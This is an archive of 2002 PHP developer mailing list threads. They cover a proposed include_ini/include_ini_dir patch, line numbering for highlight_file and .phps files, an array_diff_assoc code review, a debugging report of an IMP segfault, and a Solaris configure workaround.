Re: [PHP-DEV] Re: [RFC] include_ini and include_ini_dir

[derick]

On Thu, 12 Sep 2002, Devon O'Dell wrote:

> Not to be a troll, but weren't srm.conf and access.conf deprecated for a 
> reason?

I think it was the reason that it made configuration less clear. Three 
files for one thing isn't just 'right'.

Derick

---
 Did I help you?   http://www.derickrethans.nl/link.php?url=giftlist
 Frequent ranting: http://www.derickrethans.nl/
---
 PHP: Scripting the Web - [EMAIL PROTECTED]
All your branches are belong to me!
SRM: Script Running Machine - www.vl-srm.net
---



-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] highlight_file modification

[Devon O'Dell]

Tables work a *lot* better for aligning the text.  Otherwise, how many 
spaces are you going to pad line numbers with?  6?  No matter how 
rediculous it seems, I know a person with a 1 million+ line script 
(though I have absolutely no clue what it does).

IMHO, tables just allow for much better output than spaces.

Devon

Tom Sommer wrote:

>"[EMAIL PROTECTED]" <[EMAIL PROTECTED]> wrote
>[EMAIL PROTECTED]">news:[EMAIL PROTECTED]...
>  
>
>>Output from show_source using the current patch can be found at
>>
>>http://www.dapond.net/code/bleh.html
>>
>>
>
>Don't use tables.. use HTML spaces instead, like the current show_source
>
>--
>* Tom Sommer
>* http://www.tsn.dk | webmaster(a)tsn.dk
>* Any sufficiently advanced bug is indistinguishable from a feature
>
>
>
>  
>




-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] Re: [RFC] include_ini and include_ini_dir

[derick]

On Thu, 12 Sep 2002, Yasuo Ohgaki wrote:

> Brian France wrote:
> > I have created a patch for two new .ini directives:
> > 
> > include_ini =  ; relative  or full path
> > include_ini_dir = 
> 
> I prefer to use large single config file if it's not
> too large. I didn't like srm.conf/access.conf that
> can be found in older Apache.

I totally agree with that.

Derick

---
 Did I help you?   http://www.derickrethans.nl/link.php?url=giftlist
 Frequent ranting: http://www.derickrethans.nl/
---
 PHP: Scripting the Web - [EMAIL PROTECTED]
All your branches are belong to me!
SRM: Script Running Machine - www.vl-srm.net
---


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] highlight_file modification

[[EMAIL PROTECTED]]

With regards to the SG macro:
   forgot it was there.  Was 1am ;)  That's probably the way to test for
it, and was my impression too... a .phps should be a fully compliant HTML
page.

With regards to the ini settings:
   seems pointless and frowned upon... nobody is positive about me creating
another ini variable.  I'll just make it use an optional argument, in that
case, to preserve BC.

With regards to line numbers always displayed on .phps files instead of
some kind of BC thing:
   seems easy.

Also, I got some input outside the list that it may be useful to have an
argument that just displays the source in a couple of  tags with no
coloring.  Apparrently this is useful for people who want to download
scripts that they're helping people with.  I personally don't see the
point, but I wanted to mention it to see if anybody else thought it was
some kind of great idea.

I'm about to head to work, and I'll draft up kind of a list of what I've
got done.

Devon

Original Message:
-
From:  [EMAIL PROTECTED]
Date: Thu, 12 Sep 2002 07:52:21 +0200 (CEST)
To: [EMAIL PROTECTED], [EMAIL PROTECTED]
Subject: Re: [PHP-DEV] highlight_file modification


On Thu, 12 Sep 2002, Tom Sommer wrote:

> 
> "Edin Kadribasic" <[EMAIL PROTECTED]> wrote in
> [EMAIL PROTECTED]">news:[EMAIL PROTECTED]...
> > Did I miss something here? I don't remember us reaching agreement about
> > adding another config option.
> 
> He still has the right to make a patch if he wants to.
> Currently the way to go is to make the output and then in the end, find
out
> how the configs for this new feature should be made...

Sure he can still make that patch, but I think it's pretty simple that 
it won't be accepted then, and all the work on magic ini settings is 
just a waste of time then.

Derick

---
 Did I help you?   http://www.derickrethans.nl/link.php?url=giftlist
 Frequent ranting: http://www.derickrethans.nl/
---
 PHP: Scripting the Web - [EMAIL PROTECTED]
All your branches are belong to me!
SRM: Script Running Machine - www.vl-srm.net
---


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php



mail2web - Check your email from the web at
http://mail2web.com/ .



--
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] highlight_file modification

[derick]

On Thu, 12 Sep 2002, Tom Sommer wrote:

> 
> "Edin Kadribasic" <[EMAIL PROTECTED]> wrote in
> [EMAIL PROTECTED]">news:[EMAIL PROTECTED]...
> > Did I miss something here? I don't remember us reaching agreement about
> > adding another config option.
> 
> He still has the right to make a patch if he wants to.
> Currently the way to go is to make the output and then in the end, find out
> how the configs for this new feature should be made...

Sure he can still make that patch, but I think it's pretty simple that 
it won't be accepted then, and all the work on magic ini settings is 
just a waste of time then.

Derick

---
 Did I help you?   http://www.derickrethans.nl/link.php?url=giftlist
 Frequent ranting: http://www.derickrethans.nl/
---
 PHP: Scripting the Web - [EMAIL PROTECTED]
All your branches are belong to me!
SRM: Script Running Machine - www.vl-srm.net
---


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] highlight_file modification

[derick]

On Thu, 12 Sep 2002, Yasuo Ohgaki wrote:

> Tom Sommer wrote:
> > "Devon O'Dell" <[EMAIL PROTECTED]> wrote in
> > [EMAIL PROTECTED]">news:[EMAIL PROTECTED]...
> > 
> >>Maybe, but then we're assuming Apache ;)
> > 
> > 
> > .phps does not work on IIS
> > 
> 
> phps may not work under Apache 1.3.x also.
> Any addition to phps does not worth the effort.
> 
> People should use show_source() etc instead of
> phps.

Why are you keep advertising this? .phps works just fine (with Apache).

Derick

---
 Did I help you?   http://www.derickrethans.nl/link.php?url=giftlist
 Frequent ranting: http://www.derickrethans.nl/
---
 PHP: Scripting the Web - [EMAIL PROTECTED]
All your branches are belong to me!
SRM: Script Running Machine - www.vl-srm.net
---


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] [RFC] include_ini and include_ini_dir

[Yasuo Ohgaki]

Brian France wrote:
> At 3:09 AM +0100 9/12/02, Wez Furlong wrote:
> 
>> Arrgh! You should *really* be working against HEAD because there have
>> been so many changes since we branched 4.2 - and some of those were
>> related to php.ini detection.
>>
>> It's a LOT easier to deal with patches against HEAD (take a look in
>> README.SUBMITTING_PATCH), as most of php-dev have HEAD ready-to-hack;
>> not all of us have the 4.2 branch handy, and our policy is not to add
>> new features to it.
> 
> 
> Sorry, I will do a little work on this and get it ported to cvs HEAD.
> 
> Brian

I understand your motivation, but I think we're better to keep it
simple still... (Even if I would like to have XML php.ini)

How about others?

--
Yasuo Ohgaki


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] highlight_file modification

[Yasuo Ohgaki]

Tom Sommer wrote:
> "Devon O'Dell" <[EMAIL PROTECTED]> wrote in
> [EMAIL PROTECTED]">news:[EMAIL PROTECTED]...
> 
>>Maybe, but then we're assuming Apache ;)
> 
> 
> .phps does not work on IIS
> 

phps may not work under Apache 1.3.x also.
Any addition to phps does not worth the effort.

People should use show_source() etc instead of
phps.

--
Yasuo Ohgaki


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] [RFC] include_ini and include_ini_dir

[Brian France]

At 3:09 AM +0100 9/12/02, Wez Furlong wrote:
>Arrgh! You should *really* be working against HEAD because there have
>been so many changes since we branched 4.2 - and some of those were
>related to php.ini detection.
>
>It's a LOT easier to deal with patches against HEAD (take a look in
>README.SUBMITTING_PATCH), as most of php-dev have HEAD ready-to-hack;
>not all of us have the 4.2 branch handy, and our policy is not to add
>new features to it.

Sorry, I will do a little work on this and get it ported to cvs HEAD.

Brian

-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

[PHP-DEV] Re: [RFC] include_ini and include_ini_dir

[Brian France]

Sorry that should have been:

-
[PHP]
include_ini_dir = include
-

Brian

-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

[PHP-DEV] Re: [RFC] include_ini and include_ini_dir

[Brian France]

At 11:25 AM +0900 9/12/02, Yasuo Ohgaki wrote:
>How this could be useful?

I work for a company that is moving towards PHP.  We have our own 
package system for installing software, something like FreeBSD ports. 
I am the one that builds the PHP dso package.  The PHP package 
could/will be installed on tens of thousands of servers so it is bare 
bones build.  The PHP package installs a default php.ini file with 
our company defaults.  When somebody needs an extension we create 
another package of a phpize, configure, make process build of that 
extension.  When installing/removing the extension package it 
automaticly adds/removes the extension line in the php.ini and 
restarts apache.  With more and more extension, extensions that need 
more then just a one line added to the php.ini and our security team 
request it would be a lot easier to have a include_ini_dir 
(include_ini make sense, but less useful to us).

With a default php.ini file that looks like this:

-
[PHP]
include_ini_id = include
-

With this we can install 3 .ini files into the include directory for 
the base install.  One engineers can change, one engineers can change 
but should have a good reason and one that if engineers change our 
security team will beat them with a big stick.

This also helps when installing/removing extensions because we could 
just add/remove a .ini file in the include directory instead of 
editing the php.ini

Make sense?

Brian

-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

[PHP-DEV] Re: [PHP-CVS] cvs: php4 /ext/standard array.c basic_functions.c php_array.h

[Jon Parise]

On Wed, Sep 11, 2002 at 06:13:48PM -, Andrey Hristov wrote:

> andreyWed Sep 11 14:13:48 2002 EDT
> 
>   Modified files:  
> /php4/ext/standardarray.c basic_functions.c php_array.h 
>   Log:
>   New function added : array_diff_assoc() . Like array_diff() but does
>   additional checks on key values. Test script will be added too.

[snip]

> +PHP_FUNCTION(array_diff)
> +{
> + php_array_diff(INTERNAL_FUNCTION_PARAM_PASSTHRU, 0 TSRMLS_CC);
> +}

[snip]

> +PHP_FUNCTION(array_diff_assoc)
> +{
> + php_array_diff(INTERNAL_FUNCTION_PARAM_PASSTHRU, 1 TSRMLS_CC);
> +}

Looks good overall, but I would suggest using #define'd values for the
'behavior' parameter instead of explicitly passing 0 and 1 as magic
numbers.

e.g.:

#define DIFF_NORMAL 0
#define DIFF_ASSOC  1

php_array_diff(INTERNAL_FUNCTION_PARAM_PASSTHRU, DIFF_ASSOC TSRMLS_CC);

You get the idea. =)

-- 
Jon Parise ([EMAIL PROTECTED]) :: The PHP Project (http://www.php.net/)

-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

[PHP-DEV] Re: [imp] IMP 3.1 segfault

[Iain]

Hi,

I seem to have found a work around for this. I recompiled the PHP4 debian 
packages with the option:

export DEB_BUILD_OPTIONS="debug nostrip"

which is equivalent to --enable-debug and not stripping the binaries.

Anyway after installing the new packages the bug mysteriously dissappears. 
Very unsatisfying :(

hope this helps someone  else.

Iain.

On Thu, 12 Sep 2002 12:08, Iain wrote:
> Hi,
>
> I have been having a problem with IMP 3.1 causing a segfault. The segfault
> occurs when I press send-message in the compose window. I have tried this
> with PHP 4.1.2 and 4.2.2. I am using apache 1.3.26 on a Debian Woody
> system.
>
> I have tried getting a backtrace but am not sure if I am doing the right
> thing:
>
> After running gdb --args apache -X:
>
> Program received signal SIGSEGV, Segmentation fault.
> 0x40146c1b in free () from /lib/libc.so.6
> (gdb) backtrace
> #0  0x40146c1b in free () from /lib/libc.so.6
> #1  0x40146aa3 in free () from /lib/libc.so.6
> #2  0x4027260b in _efree () from /usr/lib/apache/1.3/libphp4.so
> #3  0x40272b03 in shutdown_memory_manager () from
> /usr/lib/apache/1.3/libphp4.so
> #4  0x40298ba0 in php_request_shutdown () from
> /usr/lib/apache/1.3/libphp4.so #5  0x40295cb3 in apache_php_module_main ()
> from
> /usr/lib/apache/1.3/libphp4.so
> #6  0x4029675e in php_restore_umask () from /usr/lib/apache/1.3/libphp4.so
> #7  0x402967c5 in php_restore_umask () from /usr/lib/apache/1.3/libphp4.so
> #8  0x08053a94 in ap_invoke_handler ()
> #9  0x0806339c in ap_some_auth_required ()
> #10 0x080633f8 in ap_process_request ()
> #11 0x0805cbdb in ap_child_terminate ()
> #12 0x0805cd6c in ap_child_terminate ()
> #13 0x0805ce89 in ap_child_terminate ()
> #14 0x0805d365 in ap_child_terminate ()
> #15 0x0805da6d in main ()
> #16 0x400f114f in __libc_start_main () from /lib/libc.so.6
>
> and from running strace apache -X:
>
> write(6, "0006 LOGOUT\r\n", 17) = 17
> time(NULL)  = 1031823615
> time(NULL)  = 1031823615
> select(7, [6], NULL, [6], NULL) = 1 (in [6])
> time(NULL)  = 1031823615
> read(6, "* BYE Courier-IMAP server shutti"..., 8192) = 71
> alarm(0)= 0
> alarm(0)= 0
> time(NULL)  = 1031823615
> alarm(0)= 0
> alarm(0)= 0
> close(6)= 0
> alarm(0)= 0
> alarm(0)= 0
> alarm(0)= 0
> alarm(0)= 0
> alarm(0)= 0
> alarm(0)= 0
> alarm(0)= 0
> alarm(0)= 0
> alarm(0)= 0
> alarm(0)= 0
> alarm(0)= 0
> alarm(0)= 0
> brk(0x82b4000)  = 0x82b4000
> setitimer(ITIMER_PROF, {it_interval={0, 0}, it_value={0, 0}}, NULL) = 0
> setitimer(ITIMER_PROF, {it_interval={0, 0}, it_value={30, 0}}, NULL) = 0
> rt_sigaction(SIGPROF, {0x40284084, [PROF], SA_RESTART|0x400},
> {0x40284084, [PROF], SA_RESTART|0x400}, 8) = 0
> rt_sigprocmask(SIG_UNBLOCK, [PROF], NULL, 8) = 0
> --- SIGSEGV (Segmentation fault) ---
> +++ killed by SIGSEGV +++
>
> Is there something else I should do to debug this problem?
>
> thanks, Iain.

-- 
PGP info: http://www.myspinach.org/~iain/pgpinfo.html

--
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

[PHP-DEV] Re: [RFC] include_ini and include_ini_dir

[Yasuo Ohgaki]

Brian France wrote:
> I have created a patch for two new .ini directives:
> 
> include_ini =  ; relative  or full path
> include_ini_dir = 

I prefer to use large single config file if it's not
too large. I didn't like srm.conf/access.conf that
can be found in older Apache.

How this could be useful?

--
Yasuo Ohgaki



-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] [RFC] include_ini and include_ini_dir

[Wez Furlong]

Hi Brian,

I haven't looked at your patch in detail (sorry! but see below).

I thought that the official view was that php.ini probably shouldn't
do anything too clever, even if it is quite a simple matter of
implementing these advanced features?

My position on the include_ini stuff is -0, meaning that I'm somewhat
against the idea because php.ini isn't easy to manage with multiple
versions/sapi of PHP (particularly under Windows), and I can see that using
includes can make things quite hard to follow (based on my early experience
of the apache configuration files, before they became unified!).

Personally, I can't think of a situation where include would be useful
(based on the kind of things that I do) without some kind of conditional
evaluation of the ini file - and that is definitely not desired (check
the archives).

However, I'm not actively opposed to it making it into PHP if that is
the general consensus.

>include_ini_dir has to be the full path.  I didn't know the best 
> way to find the directory from the search path like how the 
> php_fopen_with_path does it (so I just make it work with full paths). 
> Please tell me how to do this so I can use the search paths and 
> relative directories names.

Assuming that we really want these features, why not borrow the
guts of php_fopen_with_path but modify it to use opendir instead of 
php_fopen_and_set_opened_path? (php_opendir_with_path ?)

>Yes, it is based off of the 4.2.3 release, but I am looking for 
> more input on fixing current problems then getting into the next 
> release.

Arrgh! You should *really* be working against HEAD because there have
been so many changes since we branched 4.2 - and some of those were
related to php.ini detection.

It's a LOT easier to deal with patches against HEAD (take a look in
README.SUBMITTING_PATCH), as most of php-dev have HEAD ready-to-hack;
not all of us have the 4.2 branch handy, and our policy is not to add
new features to it.

--Wez.


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

[PHP-DEV] IMP 3.1 segfault

[Iain]

Hi,

I have been having a problem with IMP 3.1 causing a segfault. The segfault 
occurs when I press send-message in the compose window. I have tried this 
with PHP 4.1.2 and 4.2.2. I am using apache 1.3.26 on a Debian Woody system.

I have tried getting a backtrace but am not sure if I am doing the right 
thing:

After running gdb --args apache -X:

Program received signal SIGSEGV, Segmentation fault.
0x40146c1b in free () from /lib/libc.so.6
(gdb) backtrace
#0  0x40146c1b in free () from /lib/libc.so.6
#1  0x40146aa3 in free () from /lib/libc.so.6
#2  0x4027260b in _efree () from /usr/lib/apache/1.3/libphp4.so
#3  0x40272b03 in shutdown_memory_manager () from 
/usr/lib/apache/1.3/libphp4.so
#4  0x40298ba0 in php_request_shutdown () from /usr/lib/apache/1.3/libphp4.so
#5  0x40295cb3 in apache_php_module_main () from 
/usr/lib/apache/1.3/libphp4.so
#6  0x4029675e in php_restore_umask () from /usr/lib/apache/1.3/libphp4.so
#7  0x402967c5 in php_restore_umask () from /usr/lib/apache/1.3/libphp4.so
#8  0x08053a94 in ap_invoke_handler ()
#9  0x0806339c in ap_some_auth_required ()
#10 0x080633f8 in ap_process_request ()
#11 0x0805cbdb in ap_child_terminate ()
#12 0x0805cd6c in ap_child_terminate ()
#13 0x0805ce89 in ap_child_terminate ()
#14 0x0805d365 in ap_child_terminate ()
#15 0x0805da6d in main ()
#16 0x400f114f in __libc_start_main () from /lib/libc.so.6

and from running strace apache -X:

write(6, "0006 LOGOUT\r\n", 17) = 17
time(NULL)  = 1031823615
time(NULL)  = 1031823615
select(7, [6], NULL, [6], NULL) = 1 (in [6])
time(NULL)  = 1031823615
read(6, "* BYE Courier-IMAP server shutti"..., 8192) = 71
alarm(0)= 0
alarm(0)= 0
time(NULL)  = 1031823615
alarm(0)= 0
alarm(0)= 0
close(6)= 0
alarm(0)= 0
alarm(0)= 0
alarm(0)= 0
alarm(0)= 0
alarm(0)= 0
alarm(0)= 0
alarm(0)= 0
alarm(0)= 0
alarm(0)= 0
alarm(0)= 0
alarm(0)= 0
alarm(0)= 0
brk(0x82b4000)  = 0x82b4000
setitimer(ITIMER_PROF, {it_interval={0, 0}, it_value={0, 0}}, NULL) = 0
setitimer(ITIMER_PROF, {it_interval={0, 0}, it_value={30, 0}}, NULL) = 0
rt_sigaction(SIGPROF, {0x40284084, [PROF], SA_RESTART|0x400}, {0x40284084, 
[PROF], SA_RESTART|0x400}, 8) = 0
rt_sigprocmask(SIG_UNBLOCK, [PROF], NULL, 8) = 0
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

Is there something else I should do to debug this problem?

thanks, Iain.
-- 
PGP info: http://www.myspinach.org/~iain/pgpinfo.html

--
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] highlight_file modification

[Rick Widmer]

May I suggest that for .phps you just turn line numbers on all the time,
unless someone can come up with a reason not to enable them better
than "that's the way its always been."   Backwards compatibility is good
when it affects how a program runs, but in this case I just don't see a
reason not to enable line numbers.

My guess is the most common, if not the _only_ use for .phps is
displaying php source code for humans to read.  Maybe if you can find
more than one person who is pulling .phps output into a program and
parsing it then _maybe_ that might be a reason not  to turn on line
numbers all the time.

Considering the number of people the line numbers will help, I'm not sure
finding just one or two people who expect no line numbers is reason
enough not to turn it on all the time.  Like it is _so_ hard to just ignore
(or remove) them if you don't need them.

Rick


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] Re: sockets extension...pecl it

[Jason T. Greene]

What I was saying in my earlier email much longer drawn out email was,
that the API changes have been really final since version 4.2.0. The
only reason I would change it, would be if someone demonstrated a
problem with the interface, which no one has for 4.2.0 - 4.2.3 versions.
The only API changes that could possibly occur in the future would be
the vector functions, and (of course) there could always be the addition
of more functions.

Most of the other work needed to mark the extension stable has been
done, all that remains is that I have some small win32 work left to do.

The biggest thing I would like to have complete *by 4.3* is good solid
docs on this extension (There is some already done). I am planning on
working on this, and I have had one volunteer to help out.

If you are really interested in helping out, there are multiple options:
* send examples
* help out with docs
* send patches
* open bug reports
* close bug reports : )

Thanks,

-Jason


On Wed, 2002-09-11 at 17:34, Brian Lalor wrote:
> Jason Greene <[EMAIL PROTECTED]> writes:
> 
> > This extension does not belongs in PECL. It is fully platform
> > compatible, all other languages offer this functionality, it is actively
> > maintained (by me), and it will be marked stable by version 4.3
> 
> Jason, can you help me understand what needs to be done to make this extension
> non-experimental for the next release of PHP?  Can we at least finalize the
> API so that *I* can work on a migration path for my own work?
> 
> What help do you need?
> 
> -- 
> Brian Lalor
> [EMAIL PROTECTED]
> [EMAIL PROTECTED]
> (v) 480-333-3196
> (f) 480-760-9298
> 
> 
> 
> -- 
> PHP Development Mailing List 
> To unsubscribe, visit: http://www.php.net/unsub.php
> 



-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] highlight_file modification

[Sascha Cunz]

> http://www.dapond.net/code/bleh.html
>
> This still doesn't implement the .phps?linenumbers (since that's gonna have
> to do with the server module/cgi binary code) and also since nobody's (yet)
> given input as to what variable name would be sufficient.

at least SG(request_info).query_string contains the full (unparsed) query 
string at this moment. 

> show_line_numbers?  Headers/footers will also have to go in the server
> module/cgi code to implement XHTML/1.1 for the output, since I can't think
> of a way to figure out whether zend_highlight() was called from the
> apache_php_module_main function (or, simply to tell whether or not it was
> called from anywhere other than highlight_file/highlight_string).

Ignoring the use of show_source(file) currently the apache, cgi, cli, pi3web 
and servlet sapis are able to produce highlited source. None of these SAPIs 
will send correct HTML, since  and  are missing. I think, in a 
web-server environment, they should do so, shouldn't they?

But what about the CLI? I could imagine, one uses this to parse PHP-Code into 
printable form.

Anyway - after walking through all these SAPIs - one way to figure out, 
whether zend_highlight was called from highlight_file/highlight_string or not 
is:
Adding a flag to the zend_syntax_highlighter_ini-structure, initializing it to 
FALSE in php_get_highlight_struct (All SAPIs and the PHP-Function 
highlight_file etc. use this way to create it; i wonder why zend_highlight 
doesn't get this structure itself?). By setting this flag to TRUE, you can 
omit sending a header from the PHP-Functions.

I know, this is a kludge, but at least it's an option.

Sascha

--
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

[PHP-DEV] [RFC] include_ini and include_ini_dir

[Brian France]

I have created a patch for two new .ini directives:

include_ini =  ; relative  or full path
include_ini_dir = 

The patch is only in php_ini.c and does the following:

Added 2 new static zend_llist: include_ini_list & include_ini_dir_list

Add a case for include_ini and include_ini_dir in function 
php_config_ini_parser_cb.
This new cases just add items to the static lists.

Added three new functions:

php_include_ini_load
   - Loads a .ini file from a passed in name (may be full path)

php_include_ini_function_cb
   - callback loop over include_ini_list, which calls php_include_ini_load

php_include_ini_dir_function_cb
   - callback loop over include_ini_dir_list, which calls 
php_include_ini_load on each file in a directory.

In function php_init_config the new llist are init'ed and after 
zend_parse_ini_file is called, a loop is started until both 
include_ini_list and include_ini_dir_list are empty:

   loop over each item in include_ini_list calling php_include_ini_function_cb
   empting include_ini_list

   loop over each item in include_ini_dir_list calling 
php_include_ini_dir_function_cb
   empting include_ini_dir_list

I am assumming that in the middle of a zend_llist_apply call if 
something is added to the llist,  that item get the function applied 
to it? Right?

Problems:
   I don't know how well this will work on Windows machines.

   The new php_include_ini_load is a hacked version of php_init_config 
and doesn't rely on paths from the commend line for searching.  I 
would like some help to fix up this functions.

   include_ini_dir has to be the full path.  I didn't know the best 
way to find the directory from the search path like how the 
php_fopen_with_path does it (so I just make it work with full paths). 
Please tell me how to do this so I can use the search paths and 
relative directories names.

   Yes, it is based off of the 4.2.3 release, but I am looking for 
more input on fixing current problems then getting into the next 
release.

Cheers,

Brian



--- php-4.2.3.org/main/php_ini.cMon Mar  4 16:21:28 2002
+++ php-4.2.3/main/php_ini.cWed Sep 11 17:10:42 2002
@@ -41,6 +41,8 @@
  static HashTable configuration_hash;
  PHPAPI char *php_ini_opened_path=NULL;
  static php_extension_lists extension_lists;
+static zend_llist include_ini_list;
+static zend_llist include_ini_dir_list;

  /* {{{ php_ini_displayer_cb
   */
@@ -166,6 +168,14 @@
char *extension_name = 
estrndup(Z_STRVAL_P(arg2), Z_STRLEN_P(arg2));

 
zend_llist_add_element(&extension_lists.engine, 
&extension_name);
+   } else if 
(!strcasecmp(Z_STRVAL_P(arg1), "include_ini")) {
+   char *ini_name = 
estrndup(Z_STRVAL_P(arg2), Z_STRLEN_P(arg2));
+   zend_llist_add_element( 
&include_ini_list, &ini_name );
+   fprintf(stderr, "got 
include_ini = %s\n", Z_STRVAL_P(arg2) );
+   } else if 
(!strcasecmp(Z_STRVAL_P(arg1), "include_ini_dir")) {
+   char *ini_name = 
estrndup(Z_STRVAL_P(arg2), Z_STRLEN_P(arg2));
+   zend_llist_add_element( 
&include_ini_dir_list, &ini_name );
+   fprintf(stderr, "got 
include_ini_dir = %s\n", Z_STRVAL_P(arg2) );
} else {
 
zend_hash_update(&configuration_hash, Z_STRVAL_P(arg1), 
Z_STRLEN_P(arg1)+1, arg2, sizeof(zval), (void **) &entry);
Z_STRVAL_P(entry) = 
zend_strndup(Z_STRVAL_P(entry), Z_STRLEN_P(entry));
@@ -178,6 +188,147 @@
  }
  /* }}} */

+
+static void php_include_ini_load( char *ini_file )
+{
+   char *env_location, *php_ini_search_path;
+   int safe_mode_state;
+   char *open_basedir;
+   char *php_include_ini_opened_path = NULL;
+   int free_ini_search_path=0;
+   zend_file_handle fh;
+   TSRMLS_FETCH();
+
+   fprintf( stderr, "php_include_ini_function_cb: %s\n", ini_file );
+
+   safe_mode_state = PG(safe_mode);
+   open_basedir = PG(open_basedir);
+
+   env_location = getenv("PHPRC");
+   if (!env_location) {
+   env_location="";
+   }
+   if (0) {
+   //php_ini_search_path = php_ini_path_override;
+   //  free_ini_search_path = 0;
+   } else {
+   char *default_location;
+   int free_default_location;
+
+#ifdef PHP_WIN32
+   default_location = (char *) emalloc(512);
+
+   if (!GetWindowsDirectory(default_location, 255)) {
+   default_location[0]=0;
+   }
+   free_default_location=1;
+#else
+   default_location = PHP_CONFIG_FILE_PATH;
+   free_default_location=0;
+#endif
+   php_ini_search_path = (char *) 
emalloc(sizeof(".")+strlen(env_location)+s

[PHP-DEV] Re: README.TESTING

[Yasuo Ohgaki]

Marcus Boerger wrote:
> Why is README.TESTING no longer in the repository?
> I just updated the file but...
> 

How about just add it again?
Does not make sense deleting it at all to me.

--
Yasuo Ohgaki


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] highlight_file modification

[Yasuo Ohgaki]

Edin Kadribasic wrote:
> On Wed, 11 Sep 2002 13:47:56 +0200
> "Devon O'Dell" <[EMAIL PROTECTED]> wrote:
> 
>>Hey,
>>
>>I don't know if this has been brought up before (you can smack me, I 
>>know that's the 3rd time I've said this), but something I (and others)
>>
>>thought would be cool is line numbering for highlight_file (aka 
>>show_source).
>>
>>I've made modifications so that this feature is settable from php.ini 
>>(highlight.format, either 0 or 1) and tested my source, looks like it 
>>works fine and the only stuff that didn't work in make test was stuff 
>>where the EXPECT was wrong.
> 
> 
> Please let's not add an ini setting for every little thing. It makes
> writing portable scripts very difficult.
> 
> I think that it would be preferrable to add an optional parameter to the
> exisiting function, or make a new function.

+1 for no more ini directives...

No more ini entry unless it is strictly required/prefered.

--
Yasuo Ohgaki


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

RE: [PHP-DEV] configure patch for Solaris

[Florian Clever]

a linker failure related to a problem with the gnu compiler.
I do not have the exact error message at hand right now, because it has been
a little while since we compiled.
I can reproduce the exact error message if necessary in a few days.
We were using gcc-2.95.3.
gcc 3.1 produces undefined reference to `__gxx_personality_v0' when
compiling sablot/php.

sorry to not be more specific.
Florian

> -Original Message-
> From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]
> Sent: Wednesday, September 11, 2002 12:43 PM
> To: Florian Clever
> Cc: PHP Developers Mailing List
> Subject: RE: [PHP-DEV] configure patch for Solaris
>
>
> Florian,
>
> what exactly did go wrong without this patch?
>
> Derick
>
> On Wed, 11 Sep 2002, Florian Clever wrote:
>
> > Derick,
> >
> > I understand that. Unfortunately I do currently not have the
> Knowledge to
> > patch the .m4 files, thus was hoping somebody else can figure it out.
> > I wanted to pass the information I had along, hoping it help advance PHP
> > support for the Solaris Platform.
> >
> > Florian
> >
> > > -Original Message-
> > > From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]
> > > Sent: Wednesday, September 11, 2002 12:18 PM
> > > To: Florian Clever
> > > Cc: PHP Developers Mailing List; Daniel Parks; Daniel Dreier
> > > Subject: Re: [PHP-DEV] configure patch for Solaris
> > >
> > >
> > > Hello Florian,
> > >
> > > it has no use to patch configure directly, you need to find your
> > > solution in one of the .m4 files in the source.
> > >
> > > Derick
> > >
> > > On Wed, 11 Sep 2002, Florian Clever wrote:
> > >
> > > > Hi,
> > > >
> > > > we have installed PHP under Solaris with Apache 2, Oci8,
> XSLT (with JS
> > > > multithreaded) etc. (configure line follows further down).
> > > > However we had to repeadetly make a one line change to the
> > > "configure" file.
> > > > This identical change was made for PHP 4.2.2 and 4.2.3. (This
> > > change so far
> > > > has only been necessary under Solaris and not Linux).
> > > >
> > > > The diff of the our change follows. Obviously our change is a
> > > massive hack.
> > > >
> > > > Could this patch be applied to PHP or are we doing
> something else wrong?
> > > >
> > > > diff -u configure.php configure.php.orig
> > > > --- configure.php   Tue Aug  6 16:14:20 2002
> > > > +++ configure.php.orig  Sun Jul 21 05:56:20 2002
> > > > @@ -66529,11 +66529,7 @@
> > > >  JS_GetRuntime()
> > > >  ; return 0; }
> > > >  EOF
> > > > -###verinform: redefine to include -G
> > > > -ac_link='${CC-cc} -G -o conftest${ac_exeext} $CFLAGS
> $CPPFLAGS $LDFLAGS
> > > > conftest.$ac_ext $LIBS 1>&5'
> > > >  if { (eval echo configure:66533: \"$ac_link\") 1>&5; (eval
> $ac_link)
> > > > 2>&5; } && test -s conftest${ac_exeext}; then
> > > > -###verinform: now put it back like it was:
> > > > -ac_link='${CC-cc} -o conftest${ac_exeext} $CFLAGS
> $CPPFLAGS $LDFLAGS
> > > > conftest.$ac_ext $LIBS 1>&5'
> > > >rm -rf conftest*
> > > >eval "ac_cv_lib_$ac_lib_var=yes"
> > > >  else
> > > >
> > > >
> > > > Configure line:
> > > > configure:
> > > > rm config.cache
